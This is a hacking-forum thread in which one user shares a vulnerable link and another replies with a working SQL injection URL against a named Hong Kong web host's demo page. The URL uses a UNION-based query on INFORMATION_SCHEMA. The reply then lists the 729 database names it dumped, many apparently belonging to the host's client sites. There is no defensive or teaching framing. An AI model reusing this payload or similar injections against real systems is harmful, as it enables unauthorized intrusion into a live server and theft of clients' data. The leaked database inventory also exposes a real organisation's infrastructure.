1 reply to this topic

[pekelhc]

vuln link 

Please Login HERE or Register HERE to see this link!

 

 

good luck

[SecurityFlaw]

http://webdemo.smartinfo.com.hk/cardjetso/demo/welcome_gift_detail.php?id=-102' UNION ALL SELECT 1,2,3,4,5,6,(SELECT CONCAT(0x00,IFNULL(CAST(schema_name AS CHAR),0x20),0x00) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 728,1),8,9,10,11,12,13 -- -

Databases:

available databases [729]:
[*] #mysql50#kevin_l&h
[*] #mysql50#si_aia-pxkd
[*] #mysql50#smart_multi-elements
[*] #mysql50#smart_multi-elements2
[*] casper_curries
[*] casper_editor
[*] casper_findley
[*] crm
[*] crm2
[*] cs_accf
[*] cs_adaward2010
[*] cs_age
[*] cs_aiketon
[*] cs_aldente
[*] cs_anba
[*] cs_anba_live
[*] cs_bandalpha
[*] cs_bandalpha_new
[*] cs_bookonorder
[*] cs_canvas
[*] cs_capdase
[*] cs_capdasebusiness
[*] cs_capdaseipad
[*] cs_chinese_kitchen
[*] cs_csgifts
[*] cs_cyberlook_hk
[*] cs_dccomponents
[*] cs_dingli
[*] cs_ece
[*] cs_elmartini
[*] cs_esky
[*] cs_forevermine
[*] cs_fungyuen
[*] cs_glorious_hk_new
[*] cs_gofunevent
[*] cs_goodway
[*] cs_hevis
[*] cs_hevis2
[*] cs_hevis_b
[*] cs_hkba
[*] cs_hkbu
[*] cs_hkbu2
[*] cs_hkc
[*] cs_hkc_back1362013
[*] cs_hkc_uat
[*] cs_hkc_uat2013
[*] cs_hkduffers
[*] cs_hkeel
[*] cs_hkfewer
[*] cs_hostwin
[*] cs_iclass
[*] cs_jm_team
[*] cs_kie
[*] cs_leungwah
[*] cs_liy
[*] cs_lscm_summit2012
[*] cs_lslo
[*] cs_marriageforlove
[*] cs_mianzhonghk
[*] cs_mymessage
[*] cs_nanyang
[*] cs_nanyang2
[*] cs_naturalhealing
[*] cs_newhomes
[*] cs_one
[*] cs_one2
[*] cs_onhongcare
[*] cs_orihiro
[*] cs_polyhk
[*] cs_rocim
[*] cs_sanwa
[*] cs_savile
[*] cs_somerley
[*] cs_ssc
[*] cs_sunshine
[*] cs_trophy
[*] cs_wink
[*] cs_wordpress
[*] cs_ymca
[*] cyrus_calbee
[*] designer_test_1
[*] discuz_test_2011
[*] discuz_test_7_2
[*] discuz_test_7_2b
[*] gbs
[*] gorden_advance_group
[*] gorden_cdz
[*] gorden_chinaccsi
[*] gorden_diamondelet
[*] gorden_gorden
[*] gorden_on_s
[*] gorden_tdm
[*] information_schema
[*] ionedb
[*] jacky_28furn
[*] jacky_adaward_2012
[*] jacky_adaward_2012_liverecord
[*] jacky_adaward_2012_stage3
[*] jacky_adegaroyale
[*] jacky_adson
[*] jacky_amijewels
[*] jacky_angelface
[*] jacky_arte
[*] jacky_arte2014
[*] jacky_arte_2
[*] jacky_arte_3
[*] jacky_autodrive
[*] jacky_bestko_2011
[*] jacky_brandbreeder
[*] jacky_bubblelegendary
[*] jacky_c21clp
[*] jacky_canimayi
[*] jacky_canvasbeauty
[*] jacky_canvasbeauty_hk
[*] jacky_cecilia
[*] jacky_ceciliayau
[*] jacky_centralplaza
[*] jacky_centralplaza_2013
[*] jacky_chanceforkids
[*] jacky_cheever
[*] jacky_cm1328
[*] jacky_cmsamhk
[*] jacky_colouraining
[*] jacky_csf2012
[*] jacky_csf2013
[*] jacky_easipower
[*] jacky_elyn
[*] jacky_eraps
[*] jacky_eski
[*] jacky_essopdl
[*] jacky_everbeauty
[*] jacky_firstrate
[*] jacky_frontalconcepts
[*] jacky_gethse
[*] jacky_gidatex
[*] jacky_h3c_online_registration
[*] jacky_h3c_online_registration_demo
[*] jacky_hanberg
[*] jacky_helka
[*] jacky_highfashion_2010
[*] jacky_highfashion_2011
[*] jacky_highfashion_2012
[*] jacky_highfashion_2013
[*] jacky_highfashion_2014
[*] jacky_hinsanggroup
[*] jacky_hkcchk
[*] jacky_hkcwce
[*] jacky_hksfa_2014
[*] jacky_idorient
[*] jacky_inspiration
[*] jacky_jurlique
[*] jacky_lamichi
[*] jacky_lavallee
[*] jacky_legendsw
[*] jacky_lingandirving
[*] jacky_maximize
[*] jacky_megaforce
[*] jacky_mgi
[*] jacky_mira
[*] jacky_modnar
[*] jacky_modnar2
[*] jacky_nanyakids
[*] jacky_natures
[*] jacky_nblitesun
[*] jacky_nissan_wishingtree
[*] jacky_paulreed
[*] jacky_phenome
[*] jacky_recs
[*] jacky_roadmedia
[*] jacky_saninteriors
[*] jacky_saninteriors2
[*] jacky_skinic
[*] jacky_smartinfo_demo
[*] jacky_smokerhood
[*] jacky_somerley2013
[*] jacky_stately
[*] jacky_sth
[*] jacky_suga_2013
[*] jacky_sunseeker_2010
[*] jacky_sweetnfun
[*] jacky_swissobeauty
[*] jacky_thinkinggroup
[*] jacky_thinkinggroup_cn
[*] jacky_thinkinggroup_tw
[*] jacky_thzip
[*] jacky_tindhk
[*] jacky_tsia
[*] jacky_ttglobal
[*] jacky_union2010
[*] jacky_union2012
[*] jacky_union2012fw
[*] jacky_union2013fw
[*] jacky_union2013ss
[*] jacky_union2014fw
[*] jacky_union2014ss
[*] jacky_universal_investment
[*] jacky_universal_investment_2
[*] jacky_uwstar
[*] jacky_uwstar2
[*] jacky_wellydiecast
[*] jacky_xtep
[*] jacky_yuexiuap
[*] jason_anlighten
[*] jason_chineseuniversity
[*] jason_dcspares
[*] jason_hksfa_brrc
[*] jason_huajunholdings
[*] jason_josvonarx
[*] jason_linguaboxgroup
[*] jason_namu
[*] jason_shinestate
[*] jason_webdesigndemo
[*] jason_yanchai_test
[*] jason_zeven
[*] jill_genesage
[*] jill_topchoice
[*] jstree
[*] kaze_agirlfashion
[*] kaze_allhero
[*] kaze_altruist2013
[*] kaze_altruist2014
[*] kaze_altruist2015
[*] kaze_altruist2016
[*] kaze_ansonchengdesign
[*] kaze_bagllerina
[*] kaze_beauty
[*] kaze_bf24
[*] kaze_championeye
[*] kaze_ckhair
[*] kaze_code
[*] kaze_d2_eshop
[*] kaze_d2jewellery
[*] kaze_delightbasket
[*] kaze_edm_demo
[*] kaze_eshop
[*] kaze_fmemo
[*] kaze_fmgroup
[*] kaze_fortune
[*] kaze_frc
[*] kaze_frc2015
[*] kaze_function
[*] kaze_gff
[*] kaze_gjbeauty
[*] kaze_grandioso
[*] kaze_grandioso2014
[*] kaze_greenholiday
[*] kaze_h3c_massmail
[*] kaze_hadil
[*] kaze_hanatour
[*] kaze_haspa
[*] kaze_haspa2
[*] kaze_hedgehog
[*] kaze_highfashion_2015
[*] kaze_hkpefa
[*] kaze_hksfa
[*] kaze_hoshun
[*] kaze_hshcl
[*] kaze_hunghei
[*] kaze_ijacket
[*] kaze_jce
[*] kaze_kaho
[*] kaze_kinsmart
[*] kaze_kswigs
[*] kaze_laxcen
[*] kaze_leo
[*] kaze_lepinacle
[*] kaze_manhattan
[*] kaze_manypress
[*] kaze_maoshangers
[*] kaze_marblechef
[*] kaze_marugame
[*] kaze_mass
[*] kaze_meihaitao
[*] kaze_meiriki
[*] kaze_netgete
[*] kaze_nichigyu
[*] kaze_opencar
[*] kaze_orix
[*] kaze_paradisepure
[*] kaze_petro
[*] kaze_peugeot
[*] kaze_phildesign
[*] kaze_pljewelry
[*] kaze_rita
[*] kaze_ritalee
[*] kaze_ronesca
[*] kaze_sce
[*] kaze_schoolsupport
[*] kaze_score
[*] kaze_sherex
[*] kaze_shiupong
[*] kaze_shunsang
[*] kaze_springsino
[*] kaze_telefield
[*] kaze_test
[*] kaze_test2
[*] kaze_test3
[*] kaze_thisbe
[*] kaze_tmhk
[*] kaze_tsia
[*] kaze_tybournecapital
[*] kaze_uj
[*] kaze_union2015fw
[*] kaze_union2015ss
[*] kaze_univantage
[*] kaze_usapears
[*] kaze_vika
[*] kaze_vivahealthcare
[*] kaze_vtb
[*] kaze_watchup
[*] kaze_webdesigndemo
[*] kaze_wiltech
[*] kaze_wordpress
[*] kaze_yokohama
[*] keith_josvonarx
[*] keith_matwah
[*] keith_projectdata
[*] keith_wingchunhk
[*] kevin_accessoriesmall
[*] kevin_ace
[*] kevin_agirlfashion
[*] kevin_agirllive
[*] kevin_altruist2012
[*] kevin_bess
[*] kevin_bestcool
[*] kevin_burgeonhk
[*] kevin_cfsc
[*] kevin_chisine
[*] kevin_citygourmet
[*] kevin_crm
[*] kevin_dermatix
[*] kevin_gamfung
[*] kevin_hangerst
[*] kevin_hanglamindex
[*] kevin_hkpfa
[*] kevin_hongcho
[*] kevin_isa
[*] kevin_joomla
[*] kevin_jrcintl
[*] kevin_kevin
[*] kevin_laa
[*] kevin_mayflower
[*] kevin_namkwong
[*] kevin_northbalance
[*] kevin_oasis
[*] kevin_orchid_organics
[*] kevin_pon
[*] kevin_reference
[*] kevin_royal_decor
[*] kevin_safetech
[*] kevin_seemon
[*] kevin_sims_ecard_2012
[*] kevin_springshine
[*] kevin_standout
[*] kevin_superpiece
[*] kevin_taoti
[*] kevin_telford
[*] kevin_telighting
[*] kevin_times
[*] kevin_tree
[*] kevin_uml
[*] kevin_valuepartners
[*] kevin_welive
[*] kevin_wellcore
[*] kevin_wellfull
[*] kevin_wongchunchun
[*] kevin_wp
[*] kevin_xiaobudiu
[*] kiu_ahkf
[*] kiu_baruch
[*] kiu_cgse
[*] kiu_chinafund
[*] kiu_hkpcc
[*] kiu_hksfa
[*] kiu_hml
[*] kiu_ionedb
[*] kiu_ipcc
[*] kiu_jeco
[*] kiu_jetking
[*] kiu_jetsotimes
[*] kiu_jos
[*] kiu_koda
[*] kiu_kungfu
[*] kiu_kungfuhustle
[*] kiu_lsh
[*] kiu_lupshun
[*] kiu_luxe
[*] kiu_lychee
[*] kiu_maxreviewer
[*] kiu_mpdeal
[*] kiu_ofukahkauc
[*] kiu_onetel_new
[*] kiu_pandalink
[*] kiu_petro
[*] kiu_petro_f
[*] kiu_pinegroup
[*] kiu_shirblecorp
[*] kiu_sims
[*] kiu_sims_old
[*] kiu_skinjam
[*] kiu_sqlsite026
[*] kiu_stdecoration
[*] kiu_steakexpert
[*] kiu_t2pinegroup
[*] kiu_temppinegroup
[*] kiu_test
[*] kiu_test_sims
[*] kiu_thc
[*] kiu_timc
[*] kiu_tns
[*] kiu_tttt
[*] kiu_uniquelogistics
[*] kiu_yanchai
[*] kiu_yellowwin
[*] kiu_yubz
[*] kiu_zenfari
[*] kiu_zodiac
[*] klnfnv_dbklnfnv
[*] man_derma
[*] man_hkhfa
[*] man_hkpl
[*] man_mancms
[*] man_swiss
[*] man_wingkongwatch
[*] mtr_proxy
[*] mysql
[*] performance_schema
[*] pong_aplus
[*] pong_atelierpplusp
[*] pong_bgi
[*] pong_booking
[*] pong_cgg
[*] pong_cma
[*] pong_cmachina
[*] pong_dsc
[*] pong_fungkai
[*] pong_gmastone
[*] pong_goodsbid
[*] pong_hkmedltd
[*] pong_hkplaza
[*] pong_hkyic
[*] pong_ibags
[*] pong_jetrod
[*] pong_kitkathk
[*] pong_kswigs
[*] pong_lefine
[*] pong_masei
[*] pong_mayfair
[*] pong_mhmsil
[*] pong_msos
[*] pong_neptune
[*] pong_nursing_school
[*] pong_ooxy
[*] pong_paragon
[*] pong_patowear
[*] pong_pine
[*] pong_profitgem
[*] pong_puzhen
[*] pong_qwaruba
[*] pong_ramar
[*] pong_redvideobox
[*] pong_sanrio
[*] pong_seido
[*] pong_serena
[*] pong_shamb
[*] pong_shunlee
[*] pong_siqclear
[*] pong_soundwill
[*] pong_sourcewadiohk
[*] pong_ssfg
[*] pong_tamashii
[*] pong_tnemec
[*] pong_topchoice
[*] pong_union2011
[*] pong_universalhealth
[*] pong_utltplus
[*] pong_waihung
[*] pong_wankee
[*] pong_wiki_capital
[*] pong_zwz
[*] seo_leeming
[*] seo_titandesign
[*] si_apex
[*] si_atl
[*] si_camino
[*] si_connect3d
[*] si_ijacket
[*] si_miamor
[*] si_naturalhealing
[*] si_pccl
[*] si_ymca
[*] skinjam
[*] smart_airknight
[*] smart_atec
[*] smart_benjis
[*] smart_benjis2
[*] smart_blink
[*] smart_cardjetso
[*] smart_casa
[*] smart_cct
[*] smart_citic
[*] smart_citic110608
[*] smart_citic_backup
[*] smart_click
[*] smart_cms
[*] smart_cnabannerstands
[*] smart_colormix
[*] smart_daisy
[*] smart_eab
[*] smart_eraps
[*] smart_eraps_old
[*] smart_erapsBK
[*] smart_fancydesign
[*] smart_function
[*] smart_gayety
[*] smart_growill
[*] smart_h3c
[*] smart_hakka
[*] smart_hkcomplex
[*] smart_hkdaifu
[*] smart_hkdaifu111220
[*] smart_hkdaifu20110305
[*] smart_hkdaifu_111124
[*] smart_hkdaifu_2011
[*] smart_hkfashion
[*] smart_hkw_bullion
[*] smart_ideemaxe
[*] smart_ifstc
[*] smart_ikenotaria
[*] smart_jetcoolcn
[*] smart_jetcoolcn110725
[*] smart_jetcoolhk
[*] smart_kidigi
[*] smart_kidigi_old
[*] smart_kidigi_tommy
[*] smart_kidigi_will_delete
[*] smart_korea_plaza
[*] smart_korea_plaza_bk110314
[*] smart_korea_plaza_client
[*] smart_kwaiyan
[*] smart_kwaiyan2
[*] smart_kwaiyan22
[*] smart_leonard
[*] smart_leonardBK
[*] smart_leonardbk2
[*] smart_lihua
[*] smart_marco_visconti
[*] smart_marco_visconti2011BACKUP
[*] smart_mikimoto
[*] smart_minority
[*] smart_morgan
[*] smart_ook
[*] smart_ospworld
[*] smart_owl2
[*] smart_owl22
[*] smart_owl222
[*] smart_peak
[*] smart_perspective
[*] smart_redparty
[*] smart_richland
[*] smart_roadmedia
[*] smart_ryanmakeup
[*] smart_ryanmakeup_copy
[*] smart_saninterior
[*] smart_seo
[*] smart_sims_ecard_2011
[*] smart_siuyuen
[*] smart_smartfis
[*] smart_stepstone
[*] smart_tade
[*] smart_treasurehk
[*] smart_ucorn
[*] smart_usal
[*] smart_walkushr
[*] smart_zhongke
[*] smartinfo
[*] subscription
[*] terry_chupwo
[*] terry_contasia
[*] terry_contasia_426
[*] terry_contasia_604
[*] terry_eleko
[*] terry_fashion_wholesale
[*] terry_fujikon
[*] terry_myvideo_mobile
[*] terry_natures
[*] terry_radjewelleryltd
[*] terry_smaron
[*] terry_stirlingfinance
[*] terry_test
[*] terry_testing
[*] terry_thewayhong
[*] terry_use
[*] terry_vbond
[*] terry_wex
[*] terry_yanchai2013
[*] terry_zembia
[*] tery_temp
[*] test
[*] texontest
[*] timmy_nobletime
[*] tl_acme
[*] tl_actiondirect
[*] tl_altruist
[*] tl_Astar
[*] tl_baristacoffee
[*] tl_carefree
[*] tl_ceces
[*] tl_chinapool2010
[*] tl_coinsnotes
[*] tl_dingdesign
[*] tl_dunlop
[*] tl_dynasys
[*] tl_eddie
[*] tl_elite
[*] tl_epari
[*] tl_etex
[*] tl_fedvmcs
[*] tl_findhome
[*] tl_forsa
[*] tl_helka_boat
[*] tl_horsepower
[*] tl_imdemo
[*] tl_joomla
[*] tl_kudos
[*] tl_kunne
[*] tl_lakehill
[*] tl_lanao
[*] tl_lapfung
[*] tl_lsi
[*] tl_madamjoe
[*] tl_ngaifung
[*] tl_pearlink
[*] tl_proficiency
[*] tl_rapeeliving
[*] tl_rapeeliving_old
[*] tl_saiver_welaire
[*] tl_sino
[*] tl_supremeco
[*] tl_supremeco_old
[*] tl_titandesign
[*] tl_topone
[*] tl_trieco
[*] tl_tycoon
[*] tl_underbridge
[*] tl_union2010
[*] tl_utmaster
[*] tl_wankou
[*] tl_wellcome
[*] tl_whtled
[*] tl_winglee
[*] tl_wordpress_demo
[*] tl_wp
[*] tl_yufathong
[*] tom_1238cataract
[*] tom_amazing
[*] tom_berrison
[*] tom_bestewahlen
[*] tom_chungjungone
[*] tom_chungshun
[*] tom_cke
[*] tom_cke_movie
[*] tom_csi
[*] tom_designled
[*] tom_ecshop
[*] tom_eps
[*] tom_everbeauty
[*] tom_facebook_login
[*] tom_funjo2
[*] tom_gethse
[*] tom_glorious_live
[*] tom_greassi
[*] tom_hanatour
[*] tom_hkbacom_2
[*] tom_hkild
[*] tom_hktbc
[*] tom_hotline
[*] tom_isdm
[*] tom_jsd
[*] tom_kkchoco
[*] tom_loyaladv
[*] tom_mabailiang
[*] tom_marco
[*] tom_miamor
[*] tom_oriental
[*] tom_orix_2013
[*] tom_rt
[*] tom_sharp
[*] tom_sims_ecard_2013
[*] tom_stepstone
[*] tom_swiss
[*] tom_taoti
[*] tom_telefieldgroup
[*] tom_thk
[*] tom_timc
[*] tom_vital_impact
[*] tom_vitalon
[*] tom_vitalon_2
[*] tom_vivaglasses
[*] tom_xiya
[*] tom_yanchaigreen
[*] tong_ciara
[*] tong_cycollection
[*] tong_dcspares
[*] tong_dynasty
[*] tong_dys
[*] tong_healthyveget
[*] tong_hkcolorking
[*] tong_ipil
[*] tong_kenyuan
[*] tong_newry
[*] tong_oesx
[*] tong_panjitlighting
[*] tong_sooryehan
[*] tong_spcwelcome
[*] tong_takleehk
[*] tong_tetemedia
[*] tong_think
[*] tong_tsid
[*] tong_vivaglass
[*] tong_wingsangee
[*] vlau_hkpropertyletting
[*] william_dermatix
[*] william_hktba
[*] william_inversion
[*] william_kithhold
[*] william_kithhold2
[*] william_wava
[*] wilson

Edited by SecurityFlaw, 25 March 2017 - 09:52 Uhr.